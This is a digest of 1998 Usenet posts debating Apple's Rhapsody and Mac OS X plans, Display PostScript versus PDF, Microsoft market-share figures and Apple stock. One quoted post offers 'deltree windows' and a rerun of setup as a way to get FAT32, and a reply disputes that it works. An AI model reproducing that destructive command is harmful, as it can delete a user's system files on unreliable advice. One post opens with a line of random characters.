Newsgroups: comp.sys.next.advocacy
Subject: Re: Winners and Losers
Date: 17 May 1998 22:39:29 -0400
Organization: Data Systems Consulting, Inc.
Message-ID: <6jo711$qdr$1@crib.bevc.blacksburg.va.us>
References: <01bd81b9$c8480d60$04387880@test1> <6jnq9e$ibc$1@news.tuwien.ac.at>
In article <6jnq9e$ibc$1@news.tuwien.ac.at>, wilkie@cg.tuwien.ac.at (Alexander Wilkie) wrote:
> Not attempting native Intel support would be perfectly understandable if a
> port of the Rhapsody/Mach core would have to be done first and from scratch.
> But they've had the bloody port working for years (under different names, but
> what the heck)! They've got the expertise and everything to write drivers and
> to do support for new hardware!
Not that I'm happy of this decision, but it's not totally
un-understandable. Keeping up with the menagerie of PC hardware
configurations is probably more effort than they can justifiably spare.
And they _do_ have their hardware margins to think of -- the people who
need to run Windows will mostly run YB on Windows instead of dual-booting
(I know there are exceptions, including me). The people who don't need
to run Windows that badly will buy PowerMacs. The customers they lose
are the people who can't buy Macs (no money, management won't let them,
etc.), and it may have been questionable how many of them there would be.
As for me.. well, I was thinking of making my next computer a Mac
anyway.. I'm not tied to Windows. Now I don't get a choice and that's
not good, but it's not terrible either.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 21:42:30 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705982142300001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <pulsar-ya02408000R1105981844070001@news-proxy.cso.uiuc.edu> <3557C5B4.81BDA525@loa.com> <3558718B.69675B8F@spamtoNull.com> <6jbs69$1cc$15@ironhorse.plsys.co.uk> <3559F5A0.E8E7FB3D@spamtoNull.com> <pulsar-ya02408000R1305981524440001@news-proxy.cso.uiuc.edu> <355B31C4.77DFDC17@spamtoNull.com> <pulsar-ya02408000R1405981647290001@news-proxy.cso.uiuc.edu> <355F6DDE.53617770@spamtoNull.com>
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In article <355F6DDE.53617770@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Pulsar wrote:
>
> >
> > Rhapsody as it was would have never made as a consumer OS since none of the
> > big software companies endorsed it. That _forced_ Apple to do what they did
> > on Monday.
>
> Maybe, just maybe, the reasons why "Rhapsody" wasn't endorsed were
> simple and easy to understand? Maybe Rhapsody DR1 wasn't enough for them
> to start spending millions of development dollars on? Maybe they were
> leery that Jobs, as unstable as he's been, would DO WHAT HE JUST DID,
> and cut them off at the knees with their Rhapsody development? Maybe
> they just wanted to wait for Apple to SHIP a 1.0 + version of the OS
> first?
Just how have they been cut off at the knees?
> I can think of a lot of good reasons why developers *WOULD* have
> supported Rhapsody, provided Apple had come through in a lot of *other
> ways*.
Okay. Why don't you give us the reasons why you thinkg developers "*WOULD*"
have supported Rhapsody.
> In this scenario as handled by Apple--Rhapsody 1.0 never had a chance.
> Instead, you tell us to wait on the Rhapsody that developers and
> consumers will LIKE--Mac OS 10 in 18 months.
Not me. I will be getting Rhapsody 1.0. I am not alone in this.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 21:45:54 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705982145540001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <ericb-1105981832070001@132.236.171.104> <andyba-ya02408000R1205981008330001@news> <ericb-1405981159190001@132.236.171.104> <see-below-1405982034460001@209.24.240.162> <355F70D8.325D2D76@spamtoNull.com>
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In article <355F70D8.325D2D76@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Matthew Vaughan wrote:
>
> >
> > Well, they hadn't promised anything more. From day one Apple stressed that
> > even the Unified release of Rhapsody wasn't for everyone!
>
> Poppycock. Apple *bought* NeXT to engineer a next-gen OS to REPLACE the
> Mac OS.
Yes, and that's precisely what it will do.
> That was widely publicised at the time. Amelio explained, for
> instance, why Apple didn't buy Be. The company folded its Copland chips
> and went searching about for a candidate company to make the difference.
>
> Sure, Apple said, paraphrased: "While we are doing Rhapsody we will
> continue with incremental Mac OS development in the meantime" from day
> one, but that certainly did not mean "Rhapsody will not--ever--replace
> the Mac OS." All of that is revisionist CYA tripe engineered by Jobs to
> Cover His Ass.
No, you just don't understand.
Rhapsody will replace the Mac OS even in the rough timeframe that was
intended. Apple did not say that the Mac OS would be gone after Rhapsody's
first release. Apple said that it would gradually replace the Mac OS as it
merged the two somewhat like Windows 95 -> NT.
Mac OS X is just an updated Rhapsody that will take the role as a Mac OS
replacement. Rhapsody as it starts out will not. This is what Apple said
all along and what it made abundantly clear this last Monday.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: "Apple please announce YB NT5/98 support, and a commitment to Mach/Rhapsody/YB on Intel"
Date: Sun, 17 May 1998 19:51:03 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d96tg4.10l5obs1bes7w5N@sextans133.wco.com>
References: <355B510B.250023F2@milestonerdl.com> <1d93da2.1ec6ffu1jjlccxN@carina47.wco.com> <355DA040.D6BEABC3@milestonerdl.com> <6jlfq6$jua$1@crib.bevc.blacksburg.va.us> <355EE75B.BAAEEFBB@milestonerdl.com>
M Rassbach <mark@milestonerdl.com> wrote:
> And so the session # where this is mention was what? Is there a QT of it?
Session 118: Yellow Box: AppKit in Depth, presented by Ali Ozer on
Tuesday May 12, 1998 in room A2, San Jose Convention Center.
The session was video taped. I have no idea if a QuickTime movie has
been made yet.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Followup-To: comp.sys.next.advocacy
Date: Sun, 17 May 1998 19:51:11 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d96usd.idlupin1ddc8N@sextans133.wco.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com>
Rex Riley <rriley@yahoo.com> wrote:
> The street seems to agree with me as Apple's 52 week high on Monday has
> retreated below 30 and will probably settle around 27.50 shortly.
Actually, I suspect the real reason for the soft performance was the
options expiry last week, combined with overall sluggish performance in
the tech sector.
But then, I'm not one of the Wise...
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 19:51:05 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d96tnb.1rb5kzwtyaz92N@sextans133.wco.com>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <pulsar-ya02408000R1205981246010001@news-proxy.cso.uiuc.edu> <3559A517.5562EE28@sys.uea.ac.uk> <6jcm9j$1cc$28@ironhorse.plsys.co.uk> <ericb-1405981233430001@132.236.171.104> <6jh0vv$1cc$40@ironhorse.plsys.co.uk> <B181D674-70D08@206.165.43.138> <1d93gn8.fhjfyy1knrztwN@carina47.wco.com> <355DC385.3B57EFF1@trilithon.com> <B183331B-5B24A@206.165.43.27> <1d954qf.15qvj70pniarkN@carina37.wco.com> <B183D6A2-84E0@206.165.43.147>
Lawson English <english@primenet.com> wrote:
> BTW, my image is copyrighted. I assume that you've spoken with my agent and
> filled out the appropriate forms before using it?
You've made a public spectacle of yourself on these newsgroups. That
makes you a public figure. (Famous or infamous is something you'll have
to decide for yourself.)
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.programmer.misc,comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 19:51:06 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d96trp.p2jyba1tkrot4N@sextans133.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com> <1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138> <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99> <6ji1qc$1cc$47@ironhorse.plsys.co.uk> <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27> <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27> <djboccip-1605981849370001@tnt2-98.hiwaay.net> <6jl9c1$je2$1@crib.bevc.blacksburg.va.us> <1d954yz.ds1gve1l8datsN@carina37.wco.com> <B183D7A4-C17E@206.165.43.147>
Lawson English <english@primenet.com> wrote:
> Publicly denouncing a specific person is also an interesting tactic.
>
> Do you get paid extra for it?
I don't get paid for anything I do on USENET. I pay for my own account,
and post from it using only equipment I own, on my own time. (Hence
those middle of the night posting times.)
It's a sort of a hobby, you see. Demonic exorcisms and whatnot...
OUT! OUT! I COMMAND YOU DEMONS OF STUPIDITY TO BE GONE!
USENET is now safe...
--
Mike Paquette mpaque@wco.com
I don't speak for Apple Computer, and they don't speak for me.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: Sun, 17 May 1998 19:51:08 -0700
Organization: Electronics Service Unit No. 16
Message-ID: <1d96u38.2h47s3h3cuwbN@sextans133.wco.com>
References: <B17C8D50-7E886@206.165.43.134> <6j83mg$1cc$2@ironhorse.plsys.co.uk> <B17D23E3-9037@206.165.43.13> <3557DDE0.4333CCA0@trilithon.com> <1d8yqsc.1875mjiash37cN@desktop.tom-e.private> <B17FA88B-D17A@206.165.43.138> <tbrown-1405982230070001@mv079.axom.com> <B1810BBB-15F43@206.165.43.99> <6ji1qc$1cc$47@ironhorse.plsys.co.uk> <1d93hzz.1i4zmy3bnrdb1N@carina47.wco.com> <B1832253-1C09B@206.165.43.27> <nagleEt2BBL.Irx@netcom.com> <B1833813-6DD19@206.165.43.27> <djboccip-1605981849370001@tnt2-98.hiwaay.net> <6jl9c1$je2$1@crib.bevc.blacksburg.va.us> <1d954yz.ds1gve1l8datsN@carina37.wco.com> <B183D7A4-C17E@206.165.43.147> <djboccip-1705980929460001@tnt2-127.hiwaay.net> <6jn3hs$p8d$1@crib.bevc.blacksburg.va.us>
Nathan Urban <nurban@crib.bevc.blacksburg.va.us> wrote:
> Wow, it's not like we've never seen _that_ happen before on Usenet.
> So everyone should be allowed to do that except for Apple employees?
> (Remember, he isn't speaking in an official capacity.)
Oh, I imagine by now he's put together some cleverly edited snippets,
surrounded them with his own slanted commentary, and mailed the result
to GX-Talk, as well as assorted employees and managers where I work that
he feels might be able to fire me.
It should provide me with some minor office diversion and amusement
during the next week.
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.next.advocacy
Subject: Re: Sorry That Apple Purchased NeXT?
Date: Sun, 17 May 1998 21:44:38 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jo7el$ik22@odie.mcleod.net>
References: <199805161935341708619@sdn-ts-002txhousp06.dialsprint.net> <6jn8d4$1cc$66@ironhorse.plsys.co.uk>
mmalcolm crawford wrote in message <6jn8d4$1cc$66@ironhorse.plsys.co.uk>...
>No more DPS? This doesn't affect us that much -- or so we've been claiming
>for the last year or more. The new imaging model means that most of most
>people's code will remain the same anyway. And we get a number of
>enhancements which may more than make up for any "loss".
>
>No more NSHosting. A bit of a pain, but the omission may be only
>short-lived, and there will be hooks to allow third-parties to roll their
own
>anyway.
>
No more DPS and no more NSHosting are really the same thing in this case.
NSHosting as we know it is not practical unless the applications are already
using a client/server graphics rendering paradigm. With the new graphics
announced, each client will do its own rendering only making a buffer
available for a "region control" server. Moving bit map buffers over a
network is not the same as moving compact optimized drawing commands over a
network. As near as I can tell, all ability to intercept the individual
drawing commands will be lost with OS X and even if it is not, the inherent
client/server optimizations will be lost by default.
Apple has probably made the best choices. It is obviously essential that
Quickdraw Carbon applications and Yellow Box applications can coexist with
the same graphics "region controller". It is also probably impossible to
make Quickdraw applications work in a client server world. Therefore,
Yellow box can not do it either. This is the price we pay for Carbon.
From: ink@inconnu.isu.edu (Craig Kelley)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: 17 May 1998 20:45:46 -0600
Organization: Idaho State University
Message-ID: <6jo7cq$ctu$1@inconnu.isu.edu>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jnkfq$cik$1@inconnu.isu.edu> <6jnu7a$80v$2@gte1.gte.net>
In article <6jnu7a$80v$2@gte1.gte.net>, <roger@.> wrote:
->Just in case someone is tempted to try the above, it won't work.
->FAT32 currently requires that you partition and format the drive. The
->above will simply give you another installation on FAT16
True, true. BUT, that installation of windows can still read FAT32
even if it is still installed on a FAT16 partition. They aren't
mutually exclusive, in fact OSR2 still uses FAT16 for floppy disks.
I wonder what it uses for zip disks... Hmmm.
--
Wheel is turning, but the hamster is dead.
Craig Kelley -- kellcrai@isu.edu
http://www.isu.edu/~kellcrai finger ink@inconnu.isu.edu for PGP block
From: glhansen@copper.ucs.indiana.edu (Gregory Loren Hansen)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: 18 May 1998 00:15:33 GMT
Organization: Indiana University, Bloomington
Message-ID: <6jnuj5$5pa$1@jetsam.uits.indiana.edu>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
>All the news on microsoft says its os's have about %90 of the pc market.
>Now if macs are %20 of the market like Apple claims, this cant be true.
>And then when you add PC's where the users dont have a microsoft os (such
>as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
>%25 percent. This %90 number must be off, no?
Some numbers are units sold recently within some time span, some numbers
are total number of machines in use. Microsoft didn't always have 90%
market share, MacOS used to have considerably more than 5%, and Macs
reputedly have a longer life-span than Wintel machines.
When you see a percentage, try to find out what that percentage is
measuring and you'll do all right.
--
Stay alert! Trust no one! Keep your laser handy! The Computer is
your Friend!
From: roger@.
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Mon, 18 May 1998 00:15:57 GMT
Organization: gte.net
Message-ID: <6jnu7a$80v$2@gte1.gte.net>
References: <6il92r$3cl@bgtnsc01.worldnet.att.net> <6in9be$jdd$1@inconnu.isu.edu> <6iooms$clv$1@ligarius.ultra.net> <355EBFBF.6A00DEA4@mail.utexas.edu> <6jnkfq$cik$1@inconnu.isu.edu>
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On 17 May 1998 15:23:06 -0600, someone claiming to be Craig Kelley
wrote:
>C:
>deltree windows
>Y
>D:
>cd win95
>setup
>
>Off you go with fat32.
Just in case someone is tempted to try the above, it won't work.
FAT32 currently requires that you partition and format the drive. The
above will simply give you another installation on FAT16
From: "Michelle L. Buck" <buck.erik@mcleod.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: Sun, 17 May 1998 21:56:48 -0500
Organization: McleodUSA - http://www.mcleodusa.net
Message-ID: <6jo85b$ik23@odie.mcleod.net>
References: <6jng30$fg7$1@supernews.com> <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>
Nathan Urban wrote in message <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>...
>
>No, Apple was very clear on this point -- a unified imaging/printing
>model is being retained (based on PDF, not PostScript).
As was stated several times at WWDC by myself and others, PDF is NOT
Postscript. The world is full of Postscript printers. There are no PDF
printers. I can send Postscript to a 5000DPI image setter. I can not send
PDF with any good result. Apple probably did the right thing. If Adobe
would not play along, Apple had to change strategies. The unfortunate
reality is that WYSIWYG is gone as of OS-X. PDF will be pretty good. It
just will not be as good.
By the way, there are lots of perfectly good Postscript files that no
"distiller" made to date can correctly translate to PDF. That does not mean
it is impossible, but it must be hard. WYSIWYG is gone, gone, gone ... Oh
how I hall miss it.
From: pulsar@springnet1.com (Pulsar)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Apple screws Rhapsody *and* Mac owners?
Date: Sun, 17 May 1998 22:07:02 -0600
Organization: University of Illinois at Urbana-Champaign
Message-ID: <pulsar-ya02408000R1705982207020001@news-proxy.cso.uiuc.edu>
References: <ericb-1105981718430001@132.236.171.104> <pulsar-ya02408000R1105981648110001@news-proxy.cso.uiuc.edu> <35586F01.243A7BE3@spamtoNull.com> <andyba-ya02408000R1305981500440001@news> <355B40BF.8108AF71@spamtoNull.com> <see-below-1405982109200001@209.24.240.162> <355F76C5.64F3EB76@spamtoNull.com>
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In article <355F76C5.64F3EB76@spamtoNull.com>, Jonathan Harker
<Limeyville@spamtoNull.com> wrote:
> Matthew Vaughan wrote:
> >
<snip>
> This is ridiculous. When X86 developers writing 16-bit Win3.x software
> went to Win95, were they told they wouldn't have to rewrite much of
> their code to take advantage of Win95's kernel and it's capabilities?
> Were they told, "Just keep writing your applications as you've been
> doing--we'll write the OS capabilities around them"....?
>
> Certainly not.
Actually, Win32 programming is remarkably similar to Win16 programming. Of
course features were added to Win32 that were not present in Win16 because
of the new OS capabilities, but a lot of Win32 looks a lot like Win16 (with
the 16 to 32bit change which was quite significant).
> With advanced capabilities, new kernels and so forth,
> comes the job of new application coding.
Which wasn't all that hard since Win32 wasn't significantly different from
Win16 programming. The differences were that Win32 was less limited and had
been expanded more, but basically everything in Win16 was there with little
application code modification in Win32.
> That's a given anywhere you
> look. Were hardware developers told, "You don't need to worry about new
> drivers for your hardware because we'll make sure the old ones work *as
> if* they were new ones written to specifically advantage your products
> of our upgraded environment?"
Yes. Not with NT, but with 95 that was largely true.
> Of_course_it was a developer conference. That's what makes it so
> remarkable. It's Apple saying: "We know why you all aren't that
> interested in doing new coding for Rhapsody, so rather than tell you
> about a host of new tools we've developed to make porting your aps to
> native Rhapsody easy, we're just going to rewrite the MAc OS *AGAIN* so
> that you won't have to do very much to have your *current* applications
> run in a modern environment."
What "host of new tools" could Apple have "developed to make porting your
aps ot native Rhapsody eady"?
Metrowerks has Lattitude. Perhaps Apple could have bought that and said use
this. That still wouldn't have been all that great a solution.
> First of all, their *current* applications could have run in blue box,
> so that eliminates that problem. Except of course, that Apple couldn't
> figure out how to do blue box so that current applications would run as
> they now run in Mac OS, as first-class "citizens", in other words.
Are you blaming Apple for not being able to do the impossible (or not
willing to spend the resources on doing the nearly impossible)?
> As for the time frame, Apple has said that it will be at least a year
> and longer before developers will learn precisely how they must *tweak*
> their applications to run under Mac OS 10. It *might* have been easier
> and better to do native Rhapsody aps in that same time frame, provided
> Apple would furnish the tools. Which Apple isn't going to do.
What do you mean furnish the tools?
Are you saying there is no documentation for the Yellow Box? Are you saying
that Apple has not spent a lot of this developer conference teaching
classes on how to do Yellow Box programming and updating developers on new
features that Apple is implementing?
If so, you are wrong.
> > Now, that software only needs minor changes to work
> > well in this future system, with all the benefits. This makes the
> > developers very happy. Now they're less likely to eye the Windows market,
> > or worry about the huge expense of converting their products to a
> > currently-nonexistent market. This is really just buying Apple time, so
> > that Rhapsody has a chance to succeed in the long run.
>
> I can't see how any of this could possibly make that sort of difference.
> Maybe Jobs *hopes* it will, but that has yet to be seen. Whether you
> have to wait to "tweak" or wait to rewrite, it's still a waiting game.
It was a waiting game before, but before there was only something a lot
more costly to wait for (rewriting everything for Yellow Box). Now there is
the opportunity for both. Those who want to write for the future of Mac OS
programming write for the Yellow Box. Those who weren't going to will have
a way to have their apps run in a more modern environment.
> I cannot possibly see how any version of an OS from Apple named
> "Rhapsody" will have much of a success at all, in *light* of what Jobs
> has said about "Rhapsody not making sense" and "Mac OS 10."
Rhapsody as an immediate replacement for the Mac OS does not make sense.
Rhapsody makes sense targetted at people who want its features and not
those who don't, but have it forced on them anyway.
> But now developers never will climb onboard Rhapsody--because of what
> Jobs has said about it and as to what Apple's intentions actually are.
Apple's intentions are to replace the Mac OS with Rhapsody.
> The whole idea of Rhapsody was *the future* not the past. ALL Rhapsody
> needed to do was to run the old stuff well and easily and developers
> WOULD have climbed onboard with the new applications.
There is absolutely no evidence of this and there is evidence to the contrary.
If that were the case, then you'd be right, but it wasn't.
Anyway, Rhapsody _is_ *the future*. Mac OS and even Carbon programming are
basically dead ends. Both in Rhapsody which will replace the Mac OS serve
as interim solutions to ease the transition.
Ryan Tokarek
<pulsar@springnet1.com>
<http://www.ews.uiuc.edu/~tokarek>
From: gierkeNOSPAM@delaware.infi.net (Gierke)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Date: Sun, 17 May 1998 20:24:46 -0500
Organization: Irish, and damn proud of it!
Message-ID: <gierkeNOSPAM-1705982024470001@pm1-53.ile.infi.net>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
"U.EX&yu;shPi:JdV.Sg##"chDE/06q{]1G]mN&P1(QUHO&!`lGw`xb8VKQ_acmZH>uO
=iA7N0YiXQ[MP$M~f([RK]J7<%R5JEKp%2sq`j<MLYko@`?eEcz'v,q!
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> All the news on microsoft says its os's have about %90 of the pc market.
> Now if macs are %20 of the market like Apple claims, this cant be true.
> And then when you add PC's where the users dont have a microsoft os (such
> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> %25 percent. This %90 number must be off, no?
This can be true because there are several interpretations, which are all
true, that can be derived from the statement "90% of the pc market".
a. It means that Microsoft has 90% of the installed base of Personal
Computers.
b. It means that Microsoft has 90% of the installed base of IBM PC
compatibles.
c. It means that Microsoft has 90% of the Personal Computer sales.
d. It means that Microsoft has 90% of the IBM PC compatible sales.
Withought any further clarification, it is up to the reader to decide
what the statement means. This makes for good marketing, because chances
are high that consumers will assume that this refers to the installed base
of personal computers as a whole.
So, as far as what is to be assumed from "90% of the pc market", pick your
poisen.
--
³I pledge to punch all switches, to never shoot where I could use
grenades, to admit the existence of no level except Total Carnage, to
never use Caps Lock as my Œrun¹ key, and to never, ever, leave a
single Bob alive.² -- Oath of the Vidmaster
From: "Lawson English" <english@primenet.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: End of WYSIWYG w/out DPS?
Date: 17 May 1998 17:44:01 -0700
Organization: Primenet Services for the Internet
Message-ID: <B184D271-19B2D@206.165.43.16>
References: <6jnjvs$q5v$1@crib.bevc.blacksburg.va.us>
nntp://news.primenet.com/comp.sys.next.advocacy
MIME-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
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Nathan Urban <nurban@crib.bevc.blacksburg.va.us> said:
>In article <6jng30$fg7$1@supernews.com>, a l t e n b e r@nashville.com
>wrote:
>
>> Does the evisceration of Display PostScript from Yellow Box and MacOS X
>mean
>> the end of the true "What You See Is What You Get" feature unique to
>> Rhapsody, OpenStep and NeXTStep?
>
>No, Apple was very clear on this point -- a unified imaging/printing
>model is being retained (based on PDF, not PostScript).
Silliest thing that I've ever heard.
Rhaposdy/NeXT/etc advocates pooh-poohed GX for not being extensible.
So....
how do you extend PDF to handle resolution-independent graphics not found
in the PS world?
Apple did it two ways:
first (pre-MacOS 8), by determining the intersections of overlapping,
non-opaque images and creating resolution-independent PS images that were
the equivalent of the non-overlapping parts + the overlapping parts.
second (for MacOS 8), by determinging the rectanular overlap of said images
and creating a bitmap of the correct resolution, one-strip-at-a-time, and
sending it to the printer along with the appropriate PS code for the rest
of the image.
Neither of these strategies will work with PDF, will they (unless you don't
mind having a humongous bitmap or bits of non-editable graphics and text
floating around)?
And, while GX itself wasn't extensible by 3rd-parties, the above strategies
could be extended to work with any new GX shape-type that Apple defined.
How does Apple define new graphcis-types for PDF and still retain
editability/resolution-independence?
----------------------------------------------------------------------
Want Apple to license Cyberdog for third-party development? Go to:
<http://www.pcsincnet.com/petition.html>
----------------------------------------------------------------------
From: jpolaski@NO.wwa.com (Jim Polaski)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: microsoft OS's with %90 of market??
Message-ID: <jpolaski-1705982227280001@d147-145.ce.mediaone.net>
References: <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>
Date: Mon, 18 May 1998 03:21:39 GMT
NNTP-Posting-Date: Sun, 17 May 1998 22:21:39 CDT
Organization: MediaOne Express -=- Central Region
In article <Pine.SUN.3.96.980517182354.13131E-100000@viking.cris.com>,
MACGHOD <Macghod@concentric.net> wrote:
> All the news on microsoft says its os's have about %90 of the pc market.
> Now if macs are %20 of the market like Apple claims, this cant be true.
> And then when you add PC's where the users dont have a microsoft os (such
> as OPENSTEP, linux, etc), one may think that brings the non ms os's up to
> %25 percent. This %90 number must be off, no?
======
however, I read one account this weekend where M$ says they have 60
million Win95 users, which happens to be what Apple claimes use the Mac
OS.
--
Regards,
Jim Polaski, jpolaski@NO.wwa.com Remove the "NO." to reply.
Polaski P/D/C, 15 West Hubbard, 4th FL, Chicago,Il 60610
...the measure of a man is what he will do for another man,
knowing he will get nothing in return.
From: Kenny Melton <kmelton@iwvisp.com>
Newsgroups: comp.sys.next.advocacy
Subject: NeXTStep as web server
Date: Sun, 17 May 1998 20:28:30 -0700
Organization: All USENET -- http://www.Supernews.com
Message-ID: <355FAADD.6387@iwvisp.com>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Hi,
I am new to NeXTStep, but not to UN*X's and I am considering using a
NeXT Cube as a web server. Does anyone know how well it will work for
http, ftp, etc.? Has anyone ever used NeXTStep as a server for this
use?
Kenny Melton
From: Henry McGilton <henry@trilithon.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NXHosting is dead ?
Date: Sun, 17 May 1998 21:46:05 -0700
Organization: Trilithon Research and Trading
Message-ID: <355FBD0D.6CBC043A@trilithon.com>
References: <6jhivm$22a$1@nnrp1.dejanews.com> <6jhnld$a3v$1@crib.bevc.blacksburg.va.us> <355C6969.6907242B@trilithon.com> <od871.624$Fi2.704485@news.rdc1.sdca.home.com> <1d96usd.idlupin1ddc8N@sextans133.wco.com>
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Mike Paquette wrote:
* Rex Riley <rriley@yahoo.com> wrote:
* * The street seems to agree with me as Apple's 52
* * week high on Monday has retreated below 30 and
* will probably settle around 27.50 shortly.
* Actually, I suspect the real reason for the soft performance
* was the options expiry last week, combined with overall
* sluggish performance in the tech sector.
Yeah, right --- my calls got taken out because I never
expected the stock to run up that way. Such is life --- a
miserable twenty-five percent profit in only six months.
Fortunately, I covered only half the position, so the other
half is still in there for the long run.
* But then, I'm not one of the Wise...
Join the Fools, you'll have more fun, and probably more profit.
And in the meantime, you're doing Great Work.
........ Henry
=============================================================
Henry McGilton | Trilithon Software, and,
Boulevardier, Java Composer | Pacific Research and Trading
-----------------------------+-------------------------------
mailto:henry@trilithon.com | http://www.trilithon.com
=============================================================
From: derobert@erols.com (Anthony DeRobertis)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: IDEAS: proposed improvements for the MacOS
Date: Mon, 18 May 1998 01:22:56 -0500
Organization: Erol's Internet Services
Message-ID: <derobert-1805980122570001@207-172-53-6.s6.tnt4.brd.erols.com>
References: <6ji90s$522$1@nnrp1.dejanews.com> <stone-ya02408000R1505982053050001@news.enetis.net>
In article <stone-ya02408000R1505982053050001@news.enetis.net>,
stone@stoneentertainment.com (Kevin Stone) wrote:
>I've often wondered why the clipboard couldn't be saved in a temp file that
>didn't get erased if the system unexpectedly shut down. So as long as the
>speed issue could be overcome by saving clipboard items to disk, it's good
>idea.
>
Gte this: The clipboard is saved at shutdown, but not restored at startup.
Hmmmm....
--
Windows 95 (win-DOH-z), n. A thirty-two bit extension and graphical
shell to a sixteen bit patch to an eight bit operating system
originally coded for a four bit microprocessor which was used in a PC
built by a two bit company that couldn't stand one bit of competition.
From: g_a_r_y@s_c_r_e_a_m_ing.org (Gary W. Longsine)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Carbon built on top of YellowBox?
Date: 18 May 1998 05:20:01 GMT
Organization: Save the Skeet Foundation
Message-ID: <6joge1$on6$1@news.platinum.com>
References: <35594B50.B0DF00FC@iphysiol.unil.ch> <6jch0m$1cc$18@ironhorse.plsys.co.uk>
<eviltofu-1605981028480001@viking202-49.dhcp.csuohio.edu>
Mime-Version: 1.0
